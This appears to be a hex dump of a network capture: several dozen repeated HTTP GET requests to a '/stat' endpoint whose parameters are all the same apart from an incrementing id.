0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303533 37303526 73746174 70617373   0053705&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303534 41424326 73746174 70617373   0054ABC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303535 45383326 73746174 70617373   0055E83&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303537 32343926 73746174 70617373   0057249&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303538 36313026 73746174 70617373   0058610&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303539 39433626 73746174 70617373   00599C6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303541 44394426 73746174 70617373   005AD9D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303543 31363326 73746174 70617373   005C163&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303544 35353826 73746174 70617373   005D558&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303545 39314626 73746174 70617373   005E91F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303546 43463526 73746174 70617373   005FCF5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303631 30414326 73746174 70617373   00610AC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303632 34383226 73746174 70617373   0062482&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303633 38363826 73746174 70617373   0063868&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303634 43354426 73746174 70617373   0064C5D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303636 30343326 73746174 70617373   0066043&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303637 34313926 73746174 70617373   0067419&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303638 37454626 73746174 70617373   00687EF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303639 42433526 73746174 70617373   0069BC5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303641 46414226 73746174 70617373   006AFAB&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303643 33373226 73746174 70617373   006C372&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303644 37343826 73746174 70617373   006D748&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303645 42304526 73746174 70617373   006EB0E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303646 45443526 73746174 70617373   006FED5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303731 32374326 73746174 70617373   007127C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303732 36353226 73746174 70617373   0072652&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303733 41303926 73746174 70617373   0073A09&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303734 44434626 73746174 70617373   0074DCF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303736 31383626 73746174 70617373   0076186&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303737 35364326 73746174 70617373   007756C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303738 39323326 73746174 70617373   0078923&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303739 43444126 73746174 70617373   0079CDA&statpass
